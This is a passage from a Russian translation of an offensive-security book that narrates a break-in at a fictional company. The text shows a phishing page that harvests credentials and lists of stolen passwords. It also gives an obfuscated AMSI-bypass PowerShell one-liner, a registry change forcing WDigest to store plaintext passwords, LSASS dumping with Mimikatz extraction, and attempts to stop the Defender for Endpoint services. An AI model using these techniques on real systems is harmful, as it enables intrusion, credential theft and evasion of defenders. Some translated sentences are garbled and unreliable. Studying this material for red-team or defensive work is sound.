    // Если не найден соответствующий токен, тогда выполняется его подделка с тем,
    // чтобы мы были перенаправлены на соответствующую домашнюю страницу
    } else if (!$row){
      header('Location: /');

    // Когда пользователь выполняет посещение второй раз, покажите обычную ошибку с дополнением пробелами
    } else {

    echo "The plug-in will be available in a couple of days in your region, please come back soon!";}

Охотимся на пользователя

Как только обманутый пользователь вводит свои учётные данные, веб- сервер записывает эти учётные данные в файл и вознаграждает своего пользователя сообщением об ошибке, удостоверяющем его, что подключаемый модуль скоро будет доступен в его регионе. Отлично! Теперь нам просто нужен перечень целей, которым надлежит отправить это сидеть сложа руки и наслаждаться го детёныша и мы сможем наплывом паролей.

Благодаря своему обмену сведениями с бизнес- отделом, нам известно, что Strat Jumbo применяет формат электронной почты имя.фамилия@stratjumbo.com. Поэтому мы можем полагаться на LinkedIn чтобы выявить относящиеся к делу адреса для текущих работников осуществив поиск соответствующих должностных описаний в Strat Jumbo (Рисунок 4.9).

Рисунок 4.9

Нарываем свои потенциальные жертвы

Мы также можем обнаруживать списки адресов сотрудников, выполняя поиск в Google по вхождению @stratjumbo.com. Или, поскольку мы имеем дело с большой корпорацией, мы могли бы проверить списки утекших паролей для адресов электронной почты, принадлежащих Strat Jumbo. Это великолепная стратегия, поскольку порой мы способны найти рабочие пароли для их повторного применения в корпоративных платформах в подобных перечнях.

Каким бы сочетанием мы не воспользовались, как только мы соберём значительный список примерно из 200 реальных адресов электронной почты, мы выберем некое подмножество, скажем, из 120, в качестве своей первой проверочной партии. В конце концов, наша электронная почта может содержать некие не известные нам помеченные ключевые слова, которые могли быть получены от предшествующих нацеленных на Strat Jumbo спам- писем и о которых мы не знаем, или же, быть может, у Strat Jumbo имеется изощрённое устройство мониторинга, которого мы не ожидали. Было бы неблагоразумно ставить все наши средства на один смелый шаг, включающий в себя все собранные нами адреса электронной почты, поэтому давайте действовать постепенно и не торопясь.

root@Phishing:~# python send_mail.py

Поскольку мы пользуемся веб сервером Apache для размещения картинки в подписи своего электронного письма, мы исследуем соответствующий файл журнала в /var/log/apache2/access.log для просмотра запросов. Мы достигаем этого применяя команду tail, которая открывает соответствующий файл журнала и отправляет конвейером его содержимое в команду grep, выполняющую поиск имени файла этой картинки:

root@Phishing:~# tail -f /var/log/apache2/access.log |grep logo_img.png
182.239.127.147 - - [27/Jan/2021:08/12:11 +0000 "GET /static/img/logo.png HTP/1.1" 200 5700 "–"...

Уже есть первое попадание! Один из 120 достаточно низкий счёт - однако давайте подождём. Обычно 90 процентов всех потенциальных попаданий произойдут на протяжении первых 8 часов.

Любое значение открытий ниже 5 процентов будет означать, что наше сообщение было отловлено спам- фильтром. Однако в нашем случае это кажется маловероятным, учитывая реакцию первого пользователя и множества выполненных нами проверок и этапов настроек.

Мы возвращаемся через пару часов и проверяем свой файл /tmp/results.txt, в котором наш перехват формы сохранил учётные данные кодом Листинга 4.2. И вот, 25 пользователей уже удостоили нас своими паролями, а счёт продолжает расти:

root@Phishing:~# cat /tmp/results.txt
laura.stevens  5yadorChan09
janet.mcintyre Molly_Dorian5
jim.marrot     GabrielSanta89
david.stuart  Jumbo12March
richard.burk  LeilaClapton10
moinica.fourb WishYouHere*A
--snip--

Если это не один из наиболее сексуальных моментов, то я ничего в нём не понимаю!

Ресурсы

Забавный сценарий для автоматизации разбиения на категории проверок по различным прокси: https://github.com/mdsecactivebreach/Chameleon/

Пошаговое руководство настройки веб- сайта WordPress: https://wordpress.org/support/article/how-to-install-wordpress/

Глава 7. Знай своего врага

Содержание

Глава 7. Знай своего врага

Исследование места преступления

Выявляем врага

Ресурсы

Как правило, человеческий мозг склонен отбрасывать отрицательные мысли, быстро отвлекая себя более приземлёнными и радостными соображениями. Однако невольно сталкиваясь с суровой и неприятной реальностью, он внезапно изрыгает все негативные последствия, о Когда ты пойман с поличным при попытке взлома, у тебя появляются видения серии вызывающих панику ситуаций от ночного рейда группы спецназа до всей жизни целиком, проведённой в тюрьме, где раз в год приветствуют семью через стеклянное окно.

Но давайте слегка остынем. Именно для столь мрачных ситуаций мы и потратили своё время на создание двухуровневого стека серверов взаимодействия с нашей целью. Может быть это и неудобно сидеть на протяжении шести часов в холодном вокзале или в кафе для сокрытия своего местоположения, но такая цена слишком смехотворно низка по сравнению с иным вполне вероятным сценарием оказаться в наручниках посреди ночи. При условии того, что наши платформа анонимности и хакерская инфраструктура будут крепко стоять на ногах, мы должны пребывать в относительной безопасности. Итак, давайте не будем слишком бояться попасть в тюрьму, а вместо этого попытаемся разобраться как нас вычислили и с какими именно системами безопасности мы столкнулись.

Исследование места преступления

Давайте детализируем наши действия до сих пор. Мы запустили чистую фишинговую компанию по сбору учётных записей при помощи веб- страницы, которую каждый пользователь имел возможность отобразить лишь один раз. Нам известно, что наше электронное письмо оказалось убедительным, ибо мы собрали 35 паролей. Тридцать шесть часов спустя мы подключились к экстранет- сайту Citrix, воспользовавшись частным сервером, располагающемся в Лондоне, где базируется большое число персонала Strat Jumbo чтобы это выглядело убедительным.

Пока ничего подозрительного. Вполне вероятно, что была обнаружена наша фишинговая компания, или о ней сообщил какой- то сотрудник, однако если ИТ- команды зайдут столь далеко, что заставляют всех сотрудников сбрасывать свои пароли после всякой попытки фишинга, их уволят в течение нескольких недель. Кроме того, когда мы сверялись с журналами в своём веб- сервере, они не показывали никаких необычных проверок нашей фишинговой страницы. Весь обмен закончился через 17 часов после начала нашей компании. Таким образом наша фишинговая компания не является виновницей.

Кроме того, нам известно, что наш Лондонский сервер атаки не был помещён в чёрный список после этих событий, ибо мы всё ещё способны осуществлять доступ к атакуемой платформе Citrix. Всякий порядочный исследователь проследил бы след учётной записи Лауры до сервера Cirix и обнаружил бы файл нашего проекта MSBuild, который мы сбросили с целью обхода режима с Ограничением языка. Данный файл в явном виде указывал бы на злой умысел, а следовательно спровоцировал бы блокировку того IP, с которого было установлено наше подключение (наш атакующий сервер), но этого не случилось.

Судя по всему, команда безопасности просто сбросила пароли в экстренной попытке заблокировать или предотвратить возможную атаку. Это быстрое и ощутимое действие по облегчению симптомов, которое указывает на то, что они не выявили основную причину данной проблемы. Мы подождём несколько дней, чтобы узнать не предпримут ли они какие- либо активные действия против наших IP адресов, передового сервера и фишингового веб- сайта. Это даст нам достойное представление об их навыках реакции на происшествия.

Ничего. Никакие отдельные запросы не достигали наших серверов.

Отлично. Давайте продолжим свой обращённый в прошлое сеанс. После приземления на атакуемый сервер Citrix мы вызвали кучу ошибок при игре с правилами AppLocker. Быть может это вызвало некое предупреждение. Точно так же мы могли бы предупредить синюю команду, когда пытались вызывать запрещённые режимом с Ограничениями языка методы PowerShell. Такие ошибки вряд ли можно квалифицировать как серьёзные инциденты, но они могли бы быть выявлены каким- то инструментарием мониторинга, анализирующим журналы.

Далее следовал этап разведки вручную. Мы можем не винить все локальные команды, подобные ipconfig и net localgroup, поскольку это естественные команды, которые не отправляют никакого обмена и обычно не взводят флаг в продуктах безопасности. Прочие команды net, такие как net group /domain и net group "domain admins" /domain, с другой стороны могут оказаться виновницами. Такие виды команд испускают пакеты к контроллерам домена, той всемогущей группе серверов, которые выполняют аутентификацию пользователей в Active Directory и осуществляют доставку конфигураций систем. Эти команды способны запрашивать и даже записывать сведения в самих контроллерах домена при помощи удалённого протокола SAM (Security Account Manager, Диспетчера учётных записей безопасности), относящегося к управлению учётными записями между клиентом и сервером формата для обмена данными. Такие данные записываются в некий файл в виртуальном общем ресурсе, присутствующем по умолчанию во всех компьютерах Windows: общем ресурсе IPC$. . Рисунок 7.1 отображает как SAM подключается к совместному ресурсу IPC$ для считывания и записи сведений.

Рисунок 7.1

Перехваченные Wireshark данные управления учётной записью

Вслед за этим обменом, наш сервер возвращает описывающие объекты безопасности данные, такие как учётные записи, группы и домены, причём в формате, который отвечает протоколу SAM (Security Account Manager Remote), что отражено на Рисунке 7.2.

Рисунок 7.2

Возвращаемые нашим сервером данные, описывающие объекты безопасности

Хотя это совершенно законный способ взаимодействия с системой, факт в том, что SAMR редко применяется в реальной среде, поэтому его можно рассматривать как подозрительную активность. Большая часть программного обеспечения и приложений промежуточного уровня обычно запрашивают у контроллеров домена сведения при помощи более распространённого языка протокола LDAP, в то время как ИТ- администраторы полагаются на такие команды как Get-ADuser и Set-ADuser, часть модулей администрирования AD PowerShell. Эти команды взаимодействуют с веб службами AD DS (Active Directory Domain Services) при помощи (веб) запросов SOAP по порту 9389. Сколь бы маловероятным это не казалось, принимая во внимание их политики и столь быстрый ответ, нам не следует отбрасывать возможность того, что Strat Jumbo пометил этот необычный обмен с его контроллерами домена.

Эти смутные намёки на вторжение могли усилиться, когда мы загрузили PowerView и запустили полные разведывательные пакеты. Теперь то нам известно, что эти команды были зарегистрированы и отправлены в единое место и, тем самым, потенциально могли бы быть обнаружены неким продуктом безопасности. Затем мы проследовали ещё дальше и запустили безумно шумную команду Invoke-ShareFinder. Давайте посмотрим что превращает данный сценарий в столь громкий. В Листинге 7.1 цикл обходит все машины из AD и подключается к каждой из них для получения перечня общих ресурсов.

Листинг 7.1. Шумный цикл в Invoke-ShareFinder

foreach ($server in $servers){
    $counter = $counter + 1
    Write-Verbose "[*] Enumerating server $server ($counter of $($servers.count))"
    --snip--
    if(-not $NoPing){
        $up = Test-Server -Server $server
    }
--snip--
$shares = Get-NetShare -HostName $server
--snip--

Мы инициируем настолько много запросов на совместные ресурсы, сколько имеется серверов. Внезапно открывающий 60, 100 или 200 сетевых сеансов отдельный пользователь запросто может вызывать пронзительное предупреждение безопасности изо всех сил. Вполне может быть, что именно это стало той последней каплей, которая побудила команду безопасности всерьёз задуматься о предыдущих расплывчатых сигналах, неким образом соединить эти пункты и решить "на всякий случай" сбросить все пароли.

Естественно, это всего лишь основанная на чистых слепых рассуждениях гипотеза, поэтому давайте попробуем частично подтвердить свою версию, проведя более тщательный анализ полученных нами от Strat Jumbo сведений. Если мы сможем выяснить с какой именно безопасностью мы столкнулись, мы сможем быть более уверенными в том на чём нас поймали.

Выявляем врага

SIEM (Security Information and Event Management, Информация о безопасности и управление событиями), мониторинг сетевой среды, аналитика угроз, EDR (endpoint detection and response, выявление конечных точек и реагирование на них), глубокая проверка пакетов - все эти блестящие инструменты и методы защиты часто обладают центральной консолью управления, которая применяется для настройки политик и отображает красивые информационные панели. Такие консоли, нередко просто выступая в качестве корпоративных активов, как правило для аутентификации администраторов пользуются Active Directory. Применение AD позволяет избегать применения локальных общих учётных записей и упрощает управление пользователями, размещая пользователей в чётко обозначенные группы. Некоторое программное обеспечение даже требует учётных записей домена для получения сведений о рабочих станциях, учётных записях пользователей, журналов Windows и тому подобного.

Видите к чему я клоню? Нам посчастливилось получить учётные записи пользователей и сведения о группах когда мы поместили оболочку в атакуемом сервере Citrix, прежде чем нас выкинули из этой сетевой среды. Нам просто следует просмотреть эту информацию, ища относящиеся к группам безопасности, известным производителям средств защиты или продуктов анализа пакетов ключевые слова, которые выявляют наличие инструмента безопасности. Начнём мы с базового перечня ключевых слов и постепенно расширим его по мере необходимости: SOC (для security operations center, центра управления безопасностью), threat (угроза), CERT (для Computer Emergency Response Team, группы реагирования в чрезвычайных ситуациях компьютеров), SIEM и так далее. Мы выполняем быстрый grep по своему файлу groups.txt с некоторыми из этих отобранных ключевых слов:

root@FrontLine:~# grep -Ei "soc|siem|threat|security|log|cert|sec|cisrt" groups.txt
Backup Operators                                      Backup Operators can override...
Remote Desktop Users                                  Members of this group...
Performance Log Users                                 Members of this group...
Event Log Readers                                     Members of this group...
Protected Users                                       Members of this group...
Soc_Team                                              QRadar admin team¹
Microsoft Advanced Threat Analytics Administrators ...²

Этот простой поиск по ключевым словам немедленно выявляет нам верных противников: QRadar SIEM¹ и Microsoft Advanced Threat Analytics (ATA)². Это те два инструмента, которые ИТ персонал применяет для обнаружения наших действий и, именно то что нам требуется чтобы избегать их срабатывания, раз мы желаем продолжать двигаться вперёд.

QRadar это инструмент мониторинга событий безопасности. Он агрегирует журналы, передаваемые различными системами, такими как Windows, межсетевые экраны, коробки Linux и ставит им в соответствие предварительно определённые правила безопасности. Например, администраторы могут отслеживать такие хорошо знакомые сценарии взлома:

Успешную аутентификацию во множестве устройств одной учётной записью

Множество отказов в аутентификации из одной и той же учётной записи

Большое число нарушений доступа на чтение в определённой машине

Сканирование портов (множество запросов портов в определённой машине)

Изменение локальных или глобальных групп с привилегиями (администраторов домена, администраторов и им подобных)

Кража учётных данных, выявленных путём поиска событий, связанных с манипуляцией LSASS (Local Security Authority Subsystem Service, службой подсистемы локальной безопасности) - идентификаторы событий 4614, 4610, 4611 и 4622

Конечно, мы не знаем кто именно из этих администраторов Strat Jumbo выполняет мониторинг, но мы можем предположить, что там включены классические атаки PowerShell, поскольку они удосужились включить ведение журнала Блоков сценариев (Script Block Logging).

Нам следует избегать применения готовых инструментов, поскольку мы можем быть уверены, что группы безопасности будут помечать общие команды из сред с открытым исходным кодом, таких как PowerView и Empire, фильтровать такие строки как PowerUp, Invoke-UserHunter, PowerView и так далее.

Если вы считаете это плохой новостью, подождите, пока не услышите про Microsoft ATA. ATA подключается к обмену Active Directory в поисках подозрительного поведения. Рисунок 7.3 отображает его общую архитектуру, согласно Microsoft.

Рисунок 7.3

Общая архитектура ATA

ATA основывается на анализе двух основных наборов логики: анализа поведения и отличительных признаков популярных атак. Анализ поведения выстраивает базовую модель проводя около месяца изучения и исследования обычного обмена AD внутри конкретной сетевой среды предприятия. Эта модель включает сведения, согласно которым пользователи обычно подключаются к своим машинам, в какое время, через какие протоколы, а также те ресурсы, которые они обычно запрашивают. Всякий обмен, который отклоняется от некоторых определённых рамок этой базовой модели впоследствии отмечаются как вызывающие подозрения, как это видно из Рисунка 7.4. Наша успешная аутентификация на большом числе машин, к примеру, скорее всего включит модуль анализа поведения.

Рисунок 7.4

Отмечаемый подозрительным обмен

Отличительные признаки атак аналогичны решению некого антивируса, но работает с запросами, отправляемыми в контроллер домена. ATA ищет контрольные признаки, указывающие на следующие типы атак:

DNS Zone transfer При которых мы пытаемся выгрузить все записи DNS с целью разведки в домене

SAMR reconnaissance Например, перечисление пользователей и групп через семейство команд .NET, таких как net user /domain

Pass-the-hash Где мы отправляем хэш NT пароля и таким образом способны выполнять аутентификацию в машине Windows без реального знания пароля

Overpass-the-hash and pass-the-ticket Когда мы выделяем билеты Kerberos из некого активного пользователя и воспроизводим их в контроллере домена с тем, чтобы выдавать себя за этого пользователя. Позднее в этой книге мы углубимся в Kerberos

Golden ticket requests Здесь мы подделываем действительный на протяжении 10 лет билет Kerberos и пользуемся им для сохранения своих с трудом завоёванных привилегий администратора домена

Session enumeration К примеру, перечисление активных пользователей в некоторой машине

DCSync Это когда мы пользуемся повторяющейся репликацией AD свойств для выделения всех хэшей паролей из данного контроллера домена. Через мгновение мы вернёмся к этому.

Я почти слышу ваш вздох: "Но как мы можем взломать компанию без Pass-the-hash и DCSync?" Настало время проявить немного творчества! Одно можно сказать наверняка: атака на Strat Jumbo для проникновения в G&S Trust может оуказаться не столь быстрым и простым путём, как мы ожидали.

Ресурсы

Документация Microsoft Advanced Threat Analytics

Подробности относительно pass-the-hash

"Week of Evading Microsoft ATA" Nikhil Samrat Ashok Mittal

Глава 11. Победа над машинами

Содержание

Глава 11. Победа над машинами

Изучаем Виртуальную машину

Обходим MDE

Выполняем доступ LSASS

Выделяем учётные данные

Побеждаем MDE

Защита процесса

Втираемся в доверие

Внедряем поток

Альтернативные маршруты

Ресурсы

Поскольку в наших целевых серверах без проблем запускается Mimikatz, через несколько часов мы обнаруживаем, что собрали учётные сведения для примерно 25 учётных записей. Это достаточно приличное число, учитывая ограниченный набор скомпрометированных активов. Мы сопоставляем эти скомпрометированные учётные записи пользователей с соответствующими группами, основанными на рекогносцировке, которую мы осуществили в Главе 6, но у нас всё ещё нет пользователей из групп TYRION, TYWIN или BAELISH. Для завершения всей картины нам необходимо продолжить исследования далее. Глядя на панель управления Citrix, мы замечаем нечто, что способно принести нам ещё больше сокровищ ...

Изучаем Виртуальную машину

Поверх трёх доступных через RDP машин (со STRAT-CI-01 по 03), Рисунок 11.1 показывает иное приложение с потенциалом: XenDesktop, некий вид виртуальной рабочей станции, которой способны пользоваться многие пользователи для выполнения земных задач, таких как редактирование документов Office.

Рисунок 11.1

Доступный в учётной записи citrix_srv XenDesktop

Виртуальные рабочие места, или XenDesktops, работают на совместно используемых рабочих столах Windows для имитации обычной практики рабочего стола, как это видно на Рисунке 11.2.

Рисунок 11.2

Запущенная в рабочем столе Windows командная строка терминала

Давайте рассмотрим кто пользуется этот совместный рабочий стол. Быстрая команда quser отображает восемь пользователей, одновременно подключённых к этой виртуальной машине рабочего стола:

C:\users\citrix_srv> quser
USERNAME      SESSIONNAME ID  STATE  TIME  LOGON TIME
>citrix_srv   rdp-tcp#3   1  Active 3/8/2018 11:00 PM
 neal.strauss rdp-tcp#4   2  Active 3/8/2018 09:12 PM
 barry.lois   rdp-tcp#5   3  Active 3/8/2018 09:20 PM
 anya.ivanova rdp-tcp#6   4  Active 3/8/2018 09:22 PM
 elise.first  rdp-tcp#7   4  Active 3/8/2018 10:54 PM
--snip--

Это достаточно сладкий горшочек; раньше мы не видели ни одного из этих пользователей. Если нам удастся запустить Mimikatz в этом совместно используемом рабочем столе, мы сможем получить обильную добычу, тем паче, что согласно нашим предыдущим разведочным данным, эти учётные записи пользователей помогают нам заполнить все оставшиеся группы!

Однако, прежде чем мы отправимся на диверсию в одной из этих машин, опыт учит нас не торопиться и для начала провести лёгкую разведку. В конце концов, это наше первое рабочее место Windows в среде Strat Jumbo, поэтому мы ещё не знаем с чём мы сталкиваемся. Начнём с перечисления версий операционной системы, номера сборки, запущенных процессов и служб для совместно используемой машины:

C:\> wmic os get buildnumber, caption
BuildNumber    Caption
16299          Microsoft Windows 10 Pro

C:\> wmic process get description,ExecutablePath > process.txt

C:\> wmic service where (state="running") get Name, Caption, State, ServiceType, StartMode, pathname > services.txt

C:\> wmic useraccount > users.txt

Мы работаем с Windows 10.0.16299, также именуемого как Fall Creators Update или RedStone 3.

[Замечание]
Замечание по версиям Windows 10

Управление версиями Windows 10 может вызывать много вопросов среди тех, кто не знаком с понятием "операционная система как услуга". Вместо того чтобы просто исправлять ошибки, как в предыдущих версиях, Microsoft решила постоянно обновлять основные функциональные возможности Windows 10 на протяжении всего срока её службы. Таким образом, каждые шесть месяцев или около того, выпускается новое крупное обновление, которое изменяет номер сборки и добавляет новые функциональные возможности. Данная политика началась с Windows 10 Threshold 2, сборки с номером 1511. Это важно, потому как разные сборки могут обладать разными настройками безопасности, как мы обнаружим в этой главе.

Проверяем список процессов через вызов wmic:

C:\> wmic process get description,ExecutablePath
Description   ExecutablePath
--snip--
<empty>       MsMpEng.exe

SessionEnval  C:\Windows\System32\svchost.exe -k netsvcs

Sense         C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe¹
--snip--

Windows Defender, идентифицируемый процессом с названием MsMpEng.exe, запущен и работает как обычно. Однако выделяется ещё одна служба, запущенная на этой машине: MsSense.exe¹. Выступая частью комплекта Windows Defender, он не имеет ничего общего с классическим антивирусным решением Microsoft. Скорее, это часть решения следующего поколения EDR Microsoft Defender for Endpoint (MDE),, ранее известного как Windows Defender Advanced Threat Protection (ATP).

MDE это решение для защиты от вредоносных программ, основанное на машинном обучении, которое выявляет сложные атаки после взлома. Это грозный противник. Принимая во внимание то, что у нас есть контроль над несколькими серверами, из которых мы можем украсть учётные данные Citrix, скорее всего, не стоит рисковать бороться с MDE из- за восьми глупых паролей, которые мы, вероятно, могли бы получить на своих скомпрометированных серверах, подождав ещё несколько дней, но на этот раз мы сойдём с ума и примем вызов! Исследование того, как его обойти, открывает множество возможностей.

Обходим MDE

Чтобы подготовиться к предстоящей схватке с MDE, мы регистрируемся для получения пробной версии Defender for Endpoint на сайте Microsoft и устанавливаем её в тестовой машине. Процесс регистрации занимает 24 часа, а процедура установки менее нескольких секунд, поскольку все машины Windows 10 поставляются с предустановленной службой MDE.

[Замечание]
Замечание

Хвала Microsoft за разрешение исследователям безопасности загружать и проверять свои продукты. Чего нельзя сказать о многих прочих поставщиках, которые уклоняются от представления своих продуктов исследователям в области безопасности, бессовестно запихивая их в глотку руководителям совета директоров.

В конечном счёте, наша цель состоит в том, чтобы выдать дамп паролей в открытом виде, хранящихся в печально известном процессе LSASS.exe. Это грубое описание того что осуществляет Mimikatz. Тем не менее, как только мы приступаем к исполнению своего изящного сценария Invoke-Mimikatz.ps1, MDE отображает предупреждение в нашей платформе проверки, как это показано на Рисунке 11.3.

Рисунок 11.3

MDE отображает предупреждение о злонамеренном командлете PowerShell

MDE перечисляет системную активность, приведшую к подозрительному поведению, или помеченные им команды. Забавно, что он не выявлял подозрительного доступа к памяти LSASS и не помечал отображённые на рисунке команды. Вместо этого MDE сообщает нам, что в некий момент между вызовами Test-MemoryRangeValid и Update-MemoryAddress было замечено, что "на компьютере был запущен вредоносные командлет PowerShell". Обе функции присутствуют в нашем сценарии Invoke-Mimikatz.ps1.

Мы попытаемся применить некий уровень запутывания к возможным подозрительным названиям функций в самом Mimikatz и снова запускаем его. Увы, мы обнаруживаем, что порой наш сценарий снова выявляется с предупреждением о "краже учётных данных" без каких- либо подробностей, как это отражено на Рисунке 11.4.

Рисунок 11.4

Оповещение о подозрении кражи учётных данных

В иных случаях он вообще не применяется, но отмечается обход AMSI, как это отражено на Рисунке 11.5.

Рисунок 11.5

Оповещение о несанкционированном доступе AMSI

После экспериментами с ещё целым рядом запутываний, мы обнаруживаем, что та же самая команда AMSI не помечается при подобном приводимому ниже сложному запутыванию:

PS X:\> Sv('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['((noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- ((VaRIAbLe ('R9'+'hyT') -val ).Length)])

Эта последняя проверка ясно демонстрирует, что по крайней мере часть алгоритма обнаружения основана на известных шаблонах вызывающих подозрение строк. В противном случае, вне зависимости от полезной нагрузки, MDE обязан определять когда отключён AMSI.

Тем не менее, в то же самое время, несогласованные результаты между выполнением полезных нагрузок в процессе обнаружения MDE предполагается наличие некоторого обучающего поведения. Мы можем заставить наш собственный экземпляр MDE выносить свой вредоносный код, многократно исполняя странные команды PowerShell, но выполнение этих же команд в иной среде приведёт к срабатыванию различных предупреждений. Такое неустойчивое и зависимое от контекста поведение MDE вызывает глубокую тревогу - мы не можем быть уверенными на 100% что какая- либо полезная нагрузка останется незамеченной. Это как играть в "Сапёра": самое большое что мы способны сделать, это оценить безопасность хода на основе вероятностных значений и надеяться на лучшее.

Передвижение внутри сетевой среды со столь непредсказуемым решением для обеспечения безопасности, отслеживающим каждую команду, мягко говоря, болезненно и даёт мало гарантий. Итак, давайте придумаем некий способ целиком обойти это, не так ли?

Выполняем доступ LSASS

Как уже упоминалось ранее, всё что в действительности предпринимает Mimikatz, это извлекает хранящиеся в отвечающем за обработку удостоверения подлинности процессе LSASS.exe секреты. Возможно, мы не сможем осуществить анализ этого процесса в реальном масштабе времени, когда Mimikatz запущен в целевой машине, но ничто из того, что мы наблюдали, не запрещает нам выгружать содержимое LSASS.exe в файл, а затем передавать его в автономном режиме запущенному в нашей машине экземпляру Mimikatz.

Забудьте о классических инструментах дампа процесса, таких как procdump.exe и Out-Minidump PowerShellMafia; они будут помечены. Однако имеется простой и лёгкий способ выполнения дампа процессов в Windows 10 при помощи старого доброго Диспетчера задач. Просто откройте его, отыщите запись LSASS.exe (или, в некоторых версиях Windows, Local Security Authority Process), кликните правой кнопкой и нажмите по Create dump file. Мы проделаем это в своей тестовой лаборатории (Рисунок 11.6).

Рисунок 11.6

Создание файла дампа в Windows 10

Теперь подождём. А ждать ... и при этом ... ни единого писка от MDE, но Диспетчер задач сообщает, что соответствующий файл дампа был записан в C:\users\citrix_crv\AppData\Local\Temp\lsass.dmp, что странно, поскольку какое допустимое применение может иметь кто угодно для дампа LSASS.exe? Тем не менее, теперь, когда у нас имеется несколько безопасный метод, который ускользает из поля зрения MDE, мы можем испробовать свой новый трюк в виртуальном рабочем столе Strat Jumbo.

Мы начинаем с включения в XenDesktop поставщика WDigest с тем, чтобы он сохранял все вводы паролей на перспективу в обратимом формате.

C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Мы ждём пару часов, пока пользователи навводят каких- то паролей, которые можно будет сбросить, а затем вернёмся дабы собрать полученный образ LSASS.exe пр помощи Диспетчера задач.

[Замечание]
Прекращение сеанса

Чтобы заставить пользователей повторно вводить свои учётные данные, мы всегда можем прерывать их сеансы RDP. Это может показаться брутальным, но в действительности пользователи часто теряют свои сеансы Citrix по причине проблем с подключением, задержек, или времени блокировки по умолчанию, поэтому существует большая вероятность того, что такое прекращение останется незамеченным. Для принудительного завершения сеанса мы перечисляем сеанса при помощи запроса сеансов, а затем для каждого из них выполняем команду tsdiscon:

C:\> query session
SESSIONNAME       USERNAME         ID  STATE   TYPE
> rdp-tcp#87      citrix_srv       1   Active
rdp-tcp#8         joey.pizza       2   Active
                  chandler.bong    3   Disc

Мы определяем соответствующий сеанс его идентификатором: .

C:\> tsdiscon 2

Только что был прекращён сеанс joey.pizza.

Выделяем учётные данные

Для выделения секретов из данного файла дампа с названием по умолчанию lsass.dmp, мы загрузим его в одной из запущенных в нашей среде лаборатории машин, которая аналогична тем машинам, из которых мы получили это образ (например, в машину с 64- битным Windows 10 или в Server 2019) сеанс Mimikatz. Очевидно, в своей собственной машине мы запросто отключим антивирус без опасений потенциального выхода из строя. Когда мы загрузим полученный для его сбора в Mimikatz дамп, тот выделит имеющиеся пароли в точности как если бы мы запускали его в самом XenDesktop:

mimikatz# sekurlsa::minidump lsass.dmp

Switch to MINIDUMP : 'lsass.dmp'

mimikatz# sekurlsa::logonpasswords
--snip--
   * Username : Elise.First
   * Domain   : STRATJUMBO
   * Password : Foryou09
--snip--
   * Username : anya.ivanova
   * Domain   : STRATJUMBO
   * Password : Monet-#
--snip--

И вот как это делается! Наконец- то мы обнаружили учётные записи от каждой из групп разработчиков Strat Jumbo, как это отражено в Таблице 11.1.

Таблица 11-1. Полный набор полномочий для группы разработчиков Strat Jumbo

Группа
Имя пользователя/ пароль

SNOW

jack.bosa/Spa98row!%

YGRITTE

lizzie.dutch/Holi_day_213

CERSEI

mozzie.caffrey/12Drumbeat!

lucilla.silvy/Greyjoy*1

TYRION

neil.strauss/Va12Crav!

barry.lois/Away_speed!!

DAENERYS

cassini.morini/Dragons*fire

RHAEGAR

janet.mcentire/ Molly_Dorian10

rodolpho.schwatz/Great*Gatsby0

TYWIN

tara.tomora/Checkme$

BAELISH

elise.first/Foryou09

anya.ivanova/Monet-#

TORMUND

ron.bilius/AkRiV€ra9

richard.darwin/Greatest-Show-3ver!

ARYA

laura.stevens/5YadorChan09

monica.fourb/WishYouHere*B

Для всех намерений и целей мы покончили с этой рабочей станцией. Мы вошли в неё, обошли обнаружение и получили пароли в явном виде. Но было бы неправильно оставить это сейчас, не правда ли? Давайте подробнее рассмотрим как работает MDE, чтобы мы могли разработать иные способы просочиться сквозь его веб обнаружения.

Побеждаем MDE

Большинство передовых хакерских инструментов выполняют сложные манипуляции с памятью, например, внедрение DLL, регистрацию драйверов и правку байтов памяти. Мы могли бы найти путь обхода MDE для каждого инструмента, применяя усиленное запутывание или альтернативные вызовы API Windows, но переписывание всего нашего арсенала сценариев только для того чтобы управиться с раздражающей привычкой MDE заглядывать к нам через плечо, быстро превратится в болезненное занятие.

Итак, прежде чем мы двинемся далее, давайте раз и навсегда разберёмся с настоящей проблемой - самим MDE. Для правильной работы MDE полагается на две основные службы:

Sense: Запускает сам процесс MsSense. Именно он выступает основным процессом, стоящим за MDE.

DiagTrack: Применяется для сбора данных телеметрии, включая сведения MDE. Соответствующим процессом выступает diagtrack.exe.

В отличие от классического антивируса, большинство инструментов EDR выносят бо́льшую часть своей логики обнаружения и корреляции в унифицированную облачную платформу. MDE не исключение: он просто собирает события и отправляет их в платформу Microsoft. Для полного отключения MDE мы можем либо сделать целью службу Sense (MsSense.exe) и вывести из строя этого агента, либо прекратить работу службы DiagTrack (diagtrack.exe) для блокирования облачной консоли. Однако, останов этих служб и связанных с ними процессов это непростая задача, как вы могли бы ожидать, даже когда вы обладаете правами локального администратора.

Защита процесса

Sense и DiagTrack обладают аналогичной защитой, с коей нам предстоит иметь дело. Начиная с Windows RedStone 3 Creator Update 1706, служба Sense помечается как NOT_STOPPABLE, что означает, что даже администратор не может по- простому отключить её:

C:\Lab> sc query sense

SERVICE_NAME: sense
  TYPE            : 10 WIN32_OWN_PROCESS
  STATE           : 4 RUNNING
                  (NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
  WIN32_EXIT_CODE : 0 (0x0)

DiagTrack не помечается таким образом, поэтому мы можем остановить её воспользовавшись командой sc stop diagtrack. Тем не менее, к несчастью, MDE просто перезапустит её когда потребуется выполнить взаимодействие с соответствующей облачной консолью. Для её окончательного отключения, нам бы потребовалось повозиться с её двоичным путём службы, указывающем на исполняемый файл на диске, но когда мы пробуем выполнить это, мы натыкаемся на отказ в доступе:

C:\Lab> sc config diagtrack binPath="hey"

[SC] ChangeServiceConfig FAILED 5 :
Access is denied

